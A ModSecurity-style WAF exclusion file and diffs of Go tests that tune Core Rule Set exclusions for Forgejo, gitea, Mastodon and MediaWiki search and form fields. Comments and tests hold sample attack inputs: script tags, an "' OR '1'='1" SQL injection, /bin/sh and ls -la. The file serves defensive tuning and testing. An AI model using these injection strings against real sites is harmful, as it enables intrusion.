# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
+8 -45
View File
@@ -6,18 +6,13 @@ import (
"testing" "testing"
) )
// forgejoSearches are Forgejo's searches whose q skips some rules: those of // forgejoSearches are Forgejo's searches whose q skips some rules: the
// a wiki, of releases and of a job's log, from the fifteenth change, and the // wiki's, from the fifteenth change, and the searches for a name, from the
// searches for a name, from the eighth. The search of code at a branch or tag // eighth.
// is not one of them: there, as on gitea's search of code, q lets these
// attacks through.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{ var forgejoSearches = []string{
"/alice/tools/wiki/search", "/alice/tools/wiki/search",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/explore/repos", "/explore/repos",
"/explore/users", "/explore/users",
"/alice/tools/branches", "/alice/tools/branches",
@@ -37,7 +32,7 @@ var forgejoAttacks = []string{
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) { func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t) defaults, bodies := atDefaults(t), readingBodies(t)
@@ -59,37 +54,20 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
func TestForgejoExclusionsAreNarrow(t *testing.T) { func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t) crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the searches of // /bin/sh and the hard values, which q lets through on the wiki's
// the fifteenth change and on those of branches and packages, stay // search, stay refused in q on paths near it and in another field on it.
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named // /alice/wiki/search would be the code search of a repository named
// wiki, where the eighth change lets q through. Forgejo has no owner // wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches. // named api, so /api/wiki/search is not one.
for _, target := range []string{ for _, target := range []string{
"/alice/tools/wiki/Home?q=", "/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=", "/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=", "/api/wiki/search?q=",
"/alice/tools/wiki/search?other=", "/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} { } {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) { for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold { if got := inspect(t, crs, get(target+value)); got.Score < threshold {
@@ -97,19 +75,4 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
} }
} }
} }
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
} }
+2 -19
View File
@@ -115,13 +115,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
ctl:ruleRemoveTargetById=932260;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q" ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch or package name can hold a slash, as feat/docker-support and npm's
# @scope/name do. So q on a repository's branches page and on an owner's
# packages page also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these # gitea's other searches for a name send it in q too, which skips only these
# rules there: # rules there:
# 930120: .profile # 930120: .profile
@@ -142,8 +135,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q # The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one # too. Their path has one segment, as other apps' pages such as /index.php do,
# segment, other apps' pages such as /index.php included: # so q keeps 932250 there and skips only these rules:
# 930120: .profile # 930120: .profile
# 932120: powershell-scripts # 932120: powershell-scripts
# 932260: python3-app # 932260: python3-app
@@ -153,16 +146,6 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there: # These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~ # 920500: notes.txt~
# 934100: process.env.d.ts # 934100: process.env.d.ts
+2 -2
View File
@@ -4,8 +4,8 @@
# exclusion runs with the request, before the rules it switches off, so this # exclusion runs with the request, before the rules it switches off, so this
# file is loaded before the Core Rule Set's rules. Each comment names a request # file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query # a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is # has no parameter of that name, so it matters only while
# set. # SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# #
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own # Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths. # resources under them count as Mastodon's paths.
+28 -132
View File
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mastodonThreshold = 5 const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post. // mastodonStatuses is where Mastodon's apps and web app post.
@@ -106,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment}, {http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{ {http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
http.MethodPost, {http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
"/admin/domain_blocks",
"domain_block[private_comment]=",
},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[public_comment]=",
},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="}, {http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="}, {http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="}, {http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="}, {http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{ {http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
http.MethodPost,
mastodonBranding,
"form_admin_settings[site_short_description]=",
},
{ {
http.MethodPost, "/admin/settings/about", http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=", "form_admin_settings[site_extended_description]=",
}, },
{http.MethodPost, "/filters", "custom_filter[title]="}, {http.MethodPost, "/filters", "custom_filter[title]="},
{ {http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
http.MethodPost, {http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
"/filters", {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
"custom_filter[keywords_attributes][0][keyword]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[name]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[website]=",
},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="},
{ {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
http.MethodPost, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
mastodonAccount,
"user[invite_request_attributes][text]=",
},
{
http.MethodPost,
"/admin/accounts/1/action",
"admin_account_action[text]=",
},
{http.MethodPost, "/admin/report_notes", "report_note[content]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="},
{ {
http.MethodPost, "/admin/account_moderation_notes", http.MethodPost, "/admin/account_moderation_notes",
@@ -181,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonAccount, mastodonPassword}, {http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="}, {http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="}, {http.MethodPost, mastodonAccount, "user[current_password]="},
{ {http.MethodPost, "/settings/migration", "account_migration[current_password]="},
http.MethodPost,
"/settings/migration",
"account_migration[current_password]=",
},
{ {
http.MethodPost, "/settings/migration/redirect", http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=", "form_redirect[current_password]=",
}, },
{ {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
http.MethodPost,
"/settings/delete",
"form_delete_confirmation[password]=",
},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, passwordField},
} }
@@ -221,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
}, },
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`}, {http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`}, {http.MethodPatch, mastodonEditor, `{"note":%s}`},
{ {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
mastodonEditor,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`}, {http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`}, {http.MethodPatch, mastodonProfile, `{"note":%s}`},
{ {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
mastodonProfile,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -251,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`}, {http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{ {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
http.MethodPost, {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
mastodonInbox,
`{"object":{"attachment":[{"name":%s}]}}`,
},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"value":%s}]}}`,
},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
} }
@@ -303,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
} }
r := request{sent.method, sent.target, []string{jsonBody}} r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody( got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
t,
readingBodies(t),
r,
fmt.Sprintf(sent.field, quoted),
)
return got.Score return got.Score
} }
@@ -339,11 +270,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm( scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
t,
sent,
value,
)
} }
unescaped, err := url.QueryUnescape(value) unescaped, err := url.QueryUnescape(value)
@@ -352,11 +279,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON( scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
t,
sent,
unescaped,
)
} }
return scores return scores
@@ -393,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
t.Run("JSON", func(t *testing.T) { t.Run("JSON", func(t *testing.T) {
t.Parallel() t.Parallel()
r := request{ r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
mastodonPasswordJSON.method, []string{jsonBody}}
mastodonPasswordJSON.target,
[]string{jsonBody},
}
wantRandomPasswordsPass(t, r, "password") wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password") wantPasswordAttacksPass(t, r, "password")
@@ -412,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge}, {"/auth/challenge", formData, challenge},
{ {"/settings/two_factor_authentication/otp_authentication", formData, challenge},
"/settings/two_factor_authentication/otp_authentication", {"/settings/two_factor_authentication_methods/disable", formData, challenge},
formData,
challenge,
},
{
"/settings/two_factor_authentication_methods/disable",
formData,
challenge,
},
}) })
} }
@@ -596,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
{mastodonReport, "false"}, {mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"}, {mastodonForwardedReport, "remote.example"},
} { } {
report := mastodonBodyField{ report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
http.MethodPost,
mastodonReports,
sent.body,
}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold { if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got) t.Errorf("%v refused: %d", report, got)
} }
@@ -664,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
} }
// Elsewhere both keep the two rules. // Elsewhere both keep the two rules.
signIn := mastodonBodyField{ signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
http.MethodPost,
mastodonSignIn,
mastodonUsername.field,
}
if mastodonForm(t, signIn, "python3") < mastodonThreshold { if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn) t.Errorf("%v let through", signIn)
} }
statuses := mastodonBodyField{ statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
http.MethodPost,
mastodonStatuses,
mastodonHashtag.field,
}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold { if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses) t.Errorf("%v let through", statuses)
} }
@@ -717,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// Elsewhere the address keeps every rule. // Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} { for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail} sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm( if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
t,
sent,
"python3%40example.com",
) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
} }
+2 -2
View File
@@ -5,8 +5,8 @@
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of # exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's # that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# paths are matched at the site root and under /w/. # MediaWiki's paths are matched at the site root and under /w/.
# #
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only # WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path: # with a page title, in the query or after the path:
+14 -70
View File
@@ -7,7 +7,7 @@ import (
"testing" "testing"
) )
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawikiEdit is the address MediaWiki's edit form posts to. // mediawikiEdit is the address MediaWiki's edit form posts to.
@@ -221,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+attack) got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
} }
} }
} }
@@ -237,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
scriptTag, scriptTag,
} { } {
for _, field := range []string{"source", "comment"} { for _, field := range []string{"source", "comment"} {
r := request{ r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -280,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype}, {"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype}, {mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change}, {mediawikiAccountChange + "?" + changeAction, formData, change},
{ {mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
mediawikiAccountChange + subpage + "?" + changeAction, {"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{ {
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction, "/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change, formData, change,
}, },
{ {"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages. // A German wiki's names for the same pages.
{ {"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{ {
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue, "/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype, formData, retype,
@@ -345,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
body := formBody(sent.name, "' OR '1'='1") body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
} }
} }
} }
@@ -381,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
targets := append( targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets { for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack)) got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -400,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
} }
} }
@@ -420,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends // holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once. // it once.
r = request{ r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{ for _, attack := range []string{
mediawikiCommandAttack, mediawikiCommandAttack,
@@ -470,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold { if got.Score >= mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
@@ -492,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
} }
// A watchlist holds the title on its second line, as recorded. // A watchlist holds the title on its second line, as recorded.
r := request{ r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -569,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
